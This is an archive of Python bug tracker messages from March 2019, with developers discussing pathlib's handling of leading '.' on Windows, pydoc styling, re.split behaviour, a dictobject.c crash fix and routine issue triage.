<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Sat Mar 23 17:35:51 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 21:35:51 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553376951.56.0.334141790217.issue36405@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
pull_requests: +12469
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 17:36:32 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 21:36:32 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553376992.51.0.455583177686.issue36405@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Also, __builtins__ is only a module, with a __dict__, in __main__.

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 17:50:25 2019
From: report at bugs.python.org (Andre Roberge)
Date: Sat, 23 Mar 2019 21:50:25 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1553376462.82.0.372410367425.issue10716@roundup.psfhosted.org>
Message-ID: <CAGMu_=rJjnj6GLiybms=-_HS=gsBAS9xZCwLVPnP0q8eLa-7HA@mail.gmail.com>


Andre Roberge <andre.roberge at gmail.com> added the comment:

On Sat, Mar 23, 2019 at 6:27 PM Raymond Hettinger <report at bugs.python.org>
wrote:

>
> Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:
>
> I've found the HTML to be useful (-w mode, not running a server) for
> generating quick documentation (much lighter weight commitment than using
> sphinx).  I show this in my intro classes and the engineers are usually
> impressed with it.
>
> This is really easy and requires neither configuration files or reST
> markup:
>
>     $ python -m pydoc -w statistics
>     wrote statistics.html
>
> So, my vote it to keep it.
>
> I would still like modern HTML 5 with CSS however.
>

I submitted code to do this in January 2015 on the bug tracker but, except
for some interest by a single person, my submission was essentially
ignored.  I do not claim it is perfect, but I thought it was a significant
improvement as it did use HTML 5 with CSS.

Andr? Roberge

>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue10716>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10716>
_______________________________________

From report at bugs.python.org  Sat Mar 23 17:51:18 2019
From: report at bugs.python.org (Elias Tarhini)
Date: Sat, 23 Mar 2019 21:51:18 +0000
Subject: [issue36397] re.split() incorrectly splitting on zero-width pattern
In-Reply-To: <1553222922.33.0.727048855468.issue36397@roundup.psfhosted.org>
Message-ID: <1553377878.65.0.767169781063.issue36397@roundup.psfhosted.org>


Elias Tarhini <eltrhn at gmail.com> added the comment:

Thank you. Was too zeroed-in on the idea that it was from the zero-width pattern, and I forgot to consider the group. Looks like `re.sub(pattern, 'some-delim', s).split('some-delim')` is a way to do this if it's not possible to use a non-capturing group

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36397>
_______________________________________

From report at bugs.python.org  Sat Mar 23 18:13:44 2019
From: report at bugs.python.org (Matthew Barnett)
Date: Sat, 23 Mar 2019 22:13:44 +0000
Subject: [issue36397] re.split() incorrectly splitting on zero-width pattern
In-Reply-To: <1553222922.33.0.727048855468.issue36397@roundup.psfhosted.org>
Message-ID: <1553379224.25.0.528578287088.issue36397@roundup.psfhosted.org>


Matthew Barnett <python at mrabarnett.plus.com> added the comment:

The list alternates between substrings (s, between the splits) and captures (c):

['1', '1', '2', '2', '11']
 -s-  -c-  -s-  -c-  -s--

You can use slicing to extract the substrings:

>>> re.split(r'(?<=(\d))(?!\1)(?=\d)', '12111')[ : : 2]
['1', '2', '111']

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36397>
_______________________________________

From report at bugs.python.org  Sat Mar 23 19:56:26 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 23 Mar 2019 23:56:26 +0000
Subject: [issue32823] Regression in test -j behavior and time in 3.7.0b1
In-Reply-To: <1518391854.25.0.467229070634.issue32823@psf.upfronthosting.co.za>
Message-ID: <1553385386.29.0.100401394361.issue32823@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Terry,

Do you still see this happening?  When I run the tests on Windows 10 with 12 CPUs (using -j0), the tests run quickly with just the last one taking more time.

0:01:42 [418/420] test_socket passed (40 sec 239 ms) -- running: test_multiprocessing_spawn (58 sec 500 ms)
0:01:53 [419/420] test_venv passed (32 sec 267 ms) -- running: test_multiprocessing_spawn (1 min 9 sec)
running: test_multiprocessing_spawn (1 min 39 sec)
0:02:28 [420/420] test_multiprocessing_spawn passed (1 min 44 sec)

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32823>
_______________________________________

From report at bugs.python.org  Sat Mar 23 20:13:30 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 24 Mar 2019 00:13:30 +0000
Subject: [issue32823] Regression in test -j behavior and time in 3.7.0b1
In-Reply-To: <1518391854.25.0.467229070634.issue32823@psf.upfronthosting.co.za>
Message-ID: <1553386410.66.0.943775417093.issue32823@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Thanks for checking on this.  3.7.2 and 3.8.0a2 64 bit installed, as well as respository debug 32 bit 3.8.0a2+, are back to normal, with the quickest tests reporting within a few seconds.  I will assume fixed for Zach also, hence closing.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32823>
_______________________________________

From report at bugs.python.org  Sat Mar 23 20:25:38 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 24 Mar 2019 00:25:38 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1553387138.08.0.383636178937.issue36305@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

Paul, I agree that joining Path(".") and Path("c:a") should yield Path("c:a"). However, I disagree that we should always be able to construct Path("a/b") from components Path("a") and Path("b"). It doesn't apply to Path("./c:a"). There's no way to split it up as the joining of two pathlib paths because there is no way to represent "c:a" by itself as anything other than a drive-relative path. The name "./c:a" has to be taken as a unit, which is fundamentally different from "c:a". pathlib agrees:

    >>> p1 = Path('./c:a')
    >>> p1
    WindowsPath('c:a')
    >>> [p1.drive, p1.root, p1.parts]
    ['', '', ('c:a',)]

    >>> p2 = Path('.') / Path('c:a')
    >>> p2
    WindowsPath('c:a')
    >>> [p2.drive, p2.root, p2.parts]
    ['c:', '', ('c:', 'a')]

Path('./c:a') is correctly parsed as a relative filename (no root and no drive). So, if it helps any, on the PR I wasn't requesting to change how it's parsed. The ambiguity is due to the way pathlib always collapses all "." components. I would like it to retain an initial "." component. That way the string representation will come out correctly as ".\\c:a" as opposed to the drive-relative path "c:a". 

Some Windows API and runtime library functions behave differently depending whether a relative path has a leading "." or ".." component. We're at a disadvantage if we throw this information away. For example, "./spam/eggs.ext" and "spam/eggs.ext" can yield different results when searching for the file via SearchPathW, CreateProcessW (if using lpCommandLine, not lpApplicationName), or LoadLibraryExW (data/image DLL loading, not normal module loading). "./spam/eggs.ext" will be resolved relative to the process working directory, but "spam/eggs.ext" will be tried against every directory in the default file, executable, or library search path, which may not even include the working directory. (The latter behavior is unique to Windows. POSIX never searches for a name with a slash in it.)

The CreateProcessW case is a generalization of the case that we're used to across various platforms, in which, for the sake of security, the "." entry is excluded from PATH. In this case, the only way to run an executable in the working directory is to reference it explicitly. For example (in Linux):

    >>> p = Path('./test.sh')
    >>> open(p, 'w').write('#!/bin/sh\necho spam\n')
    20
    >>> os.chmod(p, 0o700)
    >>> subprocess.call(['./test.sh'])
    spam
    0
    >>> try: subprocess.call([str(p)])
    ... except FileNotFoundError: print('eggs')
    ... 
    eggs
    >>> str(p)
    'test.sh'

This would work if pathlib kept the initial "." component.

An example where we currently retain information that's not obviously needed is with ".." components. Even Path.absolute() retains ".." components. It's important in POSIX. For example, "spam/../eggs" shouldn't be reduced to "eggs" because "spam" might be a symlink. This doesn't generally matter in Windows, since it normalizes paths in user mode as strings before they're passed to the kernel, but we still don't throw the information away because it could be useful to code that implements POSIX-like behavior.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 20:33:45 2019
From: report at bugs.python.org (PEW's Corner)
Date: Sun, 24 Mar 2019 00:33:45 +0000
Subject: [issue36411] Python 3 f.tell() gets out of sync with file pointer in
 binary append+read mode
Message-ID: <1553387625.02.0.693122073587.issue36411@roundup.psfhosted.org>


New submission from PEW's Corner <pewscorner at gmail.com>:

When a file is opened in binary append+read mode, i.e. open('file', 'a+b'), and a write (i.e. append) operation is performed while the file pointer is not at the end of the file (e.g. after a seek(0)), tell() will subsequently return the wrong value in Python 3 (but not in Python 2).

See this SO question:
https://stackoverflow.com/questions/51010322/python-3-tell-gets-out-of-sync-with-file-pointer-in-appendread-mode

----------
components: IO
messages: 338709
nosy: pewscorner
priority: normal
severity: normal
status: open
title: Python 3 f.tell() gets out of sync with file pointer in binary append+read mode
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36411>
_______________________________________

From report at bugs.python.org  Sat Mar 23 20:54:59 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 24 Mar 2019 00:54:59 +0000
Subject: [issue25614] Lib/code.py: InteractiveConsole.raw_input writes prompt
 to stdout
In-Reply-To: <1447371680.73.0.599273963393.issue25614@psf.upfronthosting.co.za>
Message-ID: <1553388899.45.0.220364402847.issue25614@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Since there was no additional information provided by the original poster, I'm going to close this.  Feel free to reopen if there is a use case.

----------
nosy: +cheryl.sabella
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25614>
_______________________________________

From report at bugs.python.org  Sat Mar 23 21:49:34 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Sun, 24 Mar 2019 01:49:34 +0000
Subject: [issue36412] A possible crash in dictobject.c's new_dict()
Message-ID: <1553392174.94.0.836443696515.issue36412@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

PyDict_New() calls new_dict() with the "empty_values" array. If the PyObject_GC_New() call in new_dict() fails, new_dict() will call PyMem_FREE() on this array, causing a crash.

----------
components: Interpreter Core
messages: 338711
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible crash in dictobject.c's new_dict()
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36412>
_______________________________________

From report at bugs.python.org  Sat Mar 23 21:52:29 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Sun, 24 Mar 2019 01:52:29 +0000
Subject: [issue36412] A possible crash in dictobject.c's new_dict()
In-Reply-To: <1553392174.94.0.836443696515.issue36412@roundup.psfhosted.org>
Message-ID: <1553392349.78.0.369351597653.issue36412@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
keywords: +patch
pull_requests: +12470
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36412>
_______________________________________

From report at bugs.python.org  Sat Mar 23 22:23:36 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sun, 24 Mar 2019 02:23:36 +0000
Subject: [issue36412] A possible crash in dictobject.c's new_dict()
In-Reply-To: <1553392174.94.0.836443696515.issue36412@roundup.psfhosted.org>
Message-ID: <1553394216.58.0.948296831712.issue36412@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 3d07c1ee1d2d475b74816117981d6ec752c26c23 by Inada Naoki (Zackery Spytz) in branch 'master':
bpo-36412: fix a possible crash in dictobject.c's new_dict() (GH-12519)
https://github.com/python/cpython/commit/3d07c1ee1d2d475b74816117981d6ec752c26c23


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36412>
_______________________________________

From report at bugs.python.org  Sat Mar 23 22:23:44 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sun, 24 Mar 2019 02:23:44 +0000
Subject: [issue36412] A possible crash in dictobject.c's new_dict()
In-Reply-To: <1553392174.94.0.836443696515.issue36412@roundup.psfhosted.org>
Message-ID: <1553394224.94.0.747410380726.issue36412@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36412>
_______________________________________

From report at bugs.python.org  Sat Mar 23 22:52:58 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sun, 24 Mar 2019 02:52:58 +0000
Subject: [issue36412] A possible crash in dictobject.c's new_dict()
In-Reply-To: <1553392174.94.0.836443696515.issue36412@roundup.psfhosted.org>
Message-ID: <1553395978.8.0.923251481662.issue36412@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Thank you, nice catch!
How did you find it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36412>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:06:03 2019
From: report at bugs.python.org (YasirA)
Date: Sun, 24 Mar 2019 05:06:03 +0000
Subject: =?utf-8?q?=5Bissue36413=5D_Brief_Tour_of_the_Standard_Library_=E2=80=94_P?=
 =?utf-8?q?art_II_example_problem?=
Message-ID: <1553403963.41.0.192009865496.issue36413@roundup.psfhosted.org>


New submission from YasirA <yarsanukaev at gmail.com>:

In the Template example, there's no placeholder to be substituted with date. I think it should be rewritten along the following lines:

    >>> import time, os.path
    >>> photofiles = ['img_1074.jpg', 'img_1076.jpg', 'img_1077.jpg']
    >>> class BatchRename(Template):
    ...     delimiter = '%'
    >>> fmt = input('Enter rename style (%d-date %n-seqnum %f-format):  ')
    Enter rename style (%d-date %n-seqnum %f-format):  Ashley_%d%n%f

    >>> t = BatchRename(fmt)
    >>> date = time.strftime('%d%b%y')
    >>> for i, filename in enumerate(photofiles):
    ...     base, ext = os.path.splitext(filename)
    ...     newname = t.substitute(d=date+'_', n=i, f=ext)
    ...     print('{0} --> {1}'.format(filename, newname))

    img_1074.jpg --> Ashley_0.jpg
    img_1076.jpg --> Ashley_1.jpg
    img_1077.jpg --> Ashley_2.jpg

Yasir.

----------
assignee: docs at python
components: Documentation
messages: 338714
nosy: YasirA, docs at python
priority: normal
severity: normal
status: open
title: Brief Tour of the Standard Library ? Part II example problem
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36413>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:25:57 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 24 Mar 2019 05:25:57 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553405157.29.0.713624746988.issue8677@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Thank you for doing this Inada-san!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:35:14 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 05:35:14 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za>
Message-ID: <1553405714.38.0.736384194847.issue10716@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I stumbled upon this issue because I think this is a potential improvement. One of the reasons I don't use it is due to the outdated UI but since it also generates HTML doc for installed packages in a virtual environment I find this to be a useful feature like rdoc (ruby), rustdoc (rust) and are actively maintained helping documentation of third party packages too for local reference.

I have less knowledge about CSS but I tried updating css_v3.diff with master and added boostrap.css from CDN to pydoc which adds spacing along with improving layout and font. Attached is a screenshot that is looks better with the CSS patch and bootstrap. Including bootstrap is not lightweight option in the Python distribution but can be seen as a proof of improvement.

----------
keywords: +patch
nosy: +mdk
Added file: https://bugs.python.org/file48230/css_master.diff

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10716>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:35:58 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 05:35:58 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za>
Message-ID: <1553405758.8.0.685447732631.issue10716@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


Added file: https://bugs.python.org/file48231/Screen Shot 2019-03-24 at 10.58.33 am.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10716>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:38:16 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 05:38:16 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za>
Message-ID: <1553405896.17.0.982631063342.issue10716@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Thanks @aroberge for the patch and your efforts on improving it https://aroberge.blogspot.com/2015/01/scratching-itch-improving-pydoc.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10716>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:45:17 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 24 Mar 2019 05:45:17 +0000
Subject: =?utf-8?q?=5Bissue36413=5D_Brief_Tour_of_the_Standard_Library_=E2=80=94_P?=
 =?utf-8?q?art_II_example_problem?=
In-Reply-To: <1553403963.41.0.192009865496.issue36413@roundup.psfhosted.org>
Message-ID: <1553406317.25.0.295256453416.issue36413@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: docs at python -> rhettinger
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36413>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:51:39 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 24 Mar 2019 05:51:39 +0000
Subject: =?utf-8?q?=5Bissue36413=5D_Brief_Tour_of_the_Standard_Library_=E2=80=94_P?=
 =?utf-8?q?art_II_example_problem?=
In-Reply-To: <1553403963.41.0.192009865496.issue36413@roundup.psfhosted.org>
Message-ID: <1553406699.41.0.11825960934.issue36413@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Thank you for the suggestion, but the point of having the input() is that the end user can select their own rename style with arbitrary text and either including or excluding possible data substitutions of their own choice.

The photo processing software I was using at the time I wrote the example works just like this.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36413>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:00:34 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 06:00:34 +0000
Subject: [issue13850] Summary tables for argparse add_argument options
In-Reply-To: <1327384498.23.0.981832544617.issue13850@psf.upfronthosting.co.za>
Message-ID: <1553407234.49.0.217455790735.issue13850@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I close my PR, if anyone wants to submit an other PR, feel free to do it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13850>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:02:56 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 06:02:56 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553407376.19.0.704617040013.issue36347@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I have closed the PR 12410. Feel free to submit another PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:05:52 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 06:05:52 +0000
Subject: [issue36021] [Security][Windows] webbrowser: WindowsDefault uses
 os.startfile() and so can be abused to run arbitrary commands
In-Reply-To: <1550487653.15.0.496398912417.issue36021@roundup.psfhosted.org>
Message-ID: <1553407552.55.0.190346522909.issue36021@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I remove my assignation to this issue, I wanted to work on it and learn the debugging on Windows, but after some weeks, I have no solution because no time for a real debugging session.

Please, feel free to work on this issue and I am really sorry for this delay.

----------
assignee: matrixise -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36021>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:12:31 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 06:12:31 +0000
Subject: [issue36020] HAVE_SNPRINTF and MSVC std::snprintf support
In-Reply-To: <1550485106.18.0.506219958256.issue36020@roundup.psfhosted.org>
Message-ID: <1553407951.03.0.454478981478.issue36020@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I will continue to work on this issue when I will have a Windows virtual machine or a computer, for the moment I close my PR because it's not the right solution. Sorry for my inactivity about this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36020>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:16:38 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 06:16:38 +0000
Subject: [issue35982] Create unit-tests for os.renames()
In-Reply-To: <1550050887.9.0.145116201828.issue35982@roundup.psfhosted.org>
Message-ID: <1553408198.5.0.771824390213.issue35982@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I have closed my PR, feel free to submit an other PR. Have a nice day.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35982>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:23:07 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 24 Mar 2019 06:23:07 +0000
Subject: [issue36054] Way to detect CPU count inside docker container
In-Reply-To: <1550681782.39.0.211832814896.issue36054@roundup.psfhosted.org>
Message-ID: <1553408587.02.0.479279619502.issue36054@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I am really sorry but I thought to work on this issue but it's not the case. Feel free to submit a PR.

----------
components: +Interpreter Core
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36054>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:47:38 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 06:47:38 +0000
Subject: [issue36406] doctest.testmod(empty_package) raises TypeError in 3.7
 (and no errors in 3.6)
In-Reply-To: <1553342064.53.0.424333207933.issue36406@roundup.psfhosted.org>
Message-ID: <1553410058.6.0.132236371669.issue36406@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
keywords: +patch, patch
pull_requests: +12471, 12472
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36406>
_______________________________________

From report at bugs.python.org  Sun Mar 24 02:47:38 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 06:47:38 +0000
Subject: [issue36406] doctest.testmod(empty_package) raises TypeError in 3.7
 (and no errors in 3.6)
In-Reply-To: <1553342064.53.0.424333207933.issue36406@roundup.psfhosted.org>
Message-ID: <1553410058.56.0.791780839944.issue36406@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
keywords: +patch
pull_requests: +12471
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36406>
_______________________________________

From report at bugs.python.org  Sun Mar 24 03:35:20 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 07:35:20 +0000
Subject: [issue36414] Multiple test failures in GCC and Clang optional builds
 on Travis CI
Message-ID: <1553412920.81.0.155092332299.issue36414@roundup.psfhosted.org>


New submission from Karthikeyan Singaravelan <tir.karthi at gmail.com>:

I am not able to reproduce the errors on GCC built CPython binary and running tests with virtualenv (no coverage). Seems the dangling thread error takes up the whole 50 minutes time limit. Since GCC build is not maintained or tracked is it worth stopping it on Travis since this wastes a lot of build minutes. Clang on Mac optional build never starts running the tests too.

Reference build failures : 

https://travis-ci.org/python/cpython/jobs/510447289
https://travis-ci.org/python/cpython/jobs/510447290

----------
components: Tests
messages: 338725
nosy: pablogsal, vstinner, xtreak
priority: normal
severity: normal
status: open
title: Multiple test failures in GCC and Clang optional builds on Travis CI
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36414>
_______________________________________

From report at bugs.python.org  Sun Mar 24 03:56:25 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 07:56:25 +0000
Subject: [issue36411] Python 3 f.tell() gets out of sync with file pointer in
 binary append+read mode
In-Reply-To: <1553387625.02.0.693122073587.issue36411@roundup.psfhosted.org>
Message-ID: <1553414185.92.0.249268097416.issue36411@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +martin.panter, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36411>
_______________________________________

From report at bugs.python.org  Sun Mar 24 07:29:15 2019
From: report at bugs.python.org (Paul Moore)
Date: Sun, 24 Mar 2019 11:29:15 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1553387138.08.0.383636178937.issue36305@roundup.psfhosted.org>
Message-ID: <CACac1F9jUfwcn84PhNKD_=Kf0hB=x27uVLsBz=0hp_JdLSNyUg@mail.gmail.com>


Paul Moore <p.f.moore at gmail.com> added the comment:

> There's no way to split it up as the joining of two pathlib paths because there is no way to represent "c:a" by itself as anything other than a drive-relative path. The name "./c:a" has to be taken as a unit, which is fundamentally different from "c:a". pathlib agrees:
>
>     >>> p1 = Path('./c:a')
>     >>> p1
>     WindowsPath('c:a')
>     >>> [p1.drive, p1.root, p1.parts]
>     ['', '', ('c:a',)]
>
>     >>> p2 = Path('.') / Path('c:a')
>     >>> p2
>     WindowsPath('c:a')
>     >>> [p2.drive, p2.root, p2.parts]
>     ['c:', '', ('c:', 'a')]
>
> Path('./c:a') is correctly parsed as a relative filename (no root and no drive). So, if it helps any, on the PR I wasn't requesting to change how it's parsed. The ambiguity is due to the way pathlib always collapses all "." components. I would like it to retain an initial "." component. That way the string representation will come out correctly as ".\\c:a" as opposed to the drive-relative path "c:a".

Ah, I think I follow now. But I'm not sure what you mean by wanting it
to "retain an initial '.' component" - how would you expect that to
work in practice? p1.parts == ('.', 'c:a')? I suspect that could break
existing code. In 99% of cases an initial ./ *is* semantically
irrelevant, and people expect it to be omitted. Upsetting that
expectation for something so rare, while technically correct, is
something we need to be careful of. Maybe it needs to be retained in a
new attribute in the Path object, which affects the str() conversion,
but not the existing attributes like parts.

> Some Windows API and runtime library functions behave differently depending whether a relative path has a leading "." or ".." component. We're at a disadvantage if we throw this information away.

Yes, I see your point now. Whether the initial string representation
was foo or ./foo is semantic information that we need to retain for
those places where it matters. But my concern is at the other end of
the equation - we need to be careful, having retained that semantic
information, not to have it intrude on existing, working use cases.

> The CreateProcessW case is a generalization of the case that we're used to across various platforms, in which, for the sake of security, the "." entry is excluded from PATH. In this case, the only way to run an executable in the working directory is to reference it explicitly. For example (in Linux):
[...]
> This would work if pathlib kept the initial "." component.

Thanks, this is a really useful example, as it makes it clear that
this is a general issue, not a platform-specific quirk.

> An example where we currently retain information that's not obviously needed is with ".." components. Even Path.absolute() retains ".." components. It's important in POSIX. For example, "spam/../eggs" shouldn't be reduced to "eggs" because "spam" might be a symlink. This doesn't generally matter in Windows, since it normalizes paths in user mode as strings before they're passed to the kernel, but we still don't throw the information away because it could be useful to code that implements POSIX-like behavior.

Yes. Maybe not stripping an initial ./ can be modelled on that example
- the documentation
(https://docs.python.org/3.7/library/pathlib.html#pure-paths) says
"Spurious slashes and single dots are collapsed, but double dots
('..') are not, since this would change the meaning of a path in the
face of symbolic links" - that should be expanded to clarify that an
initial "." is similarly retained because removing it would change the
meaning in the face of  subprocess invocatioons which rely on it to
explicitly allow running a file from the current directory, or Windows
files with streams.

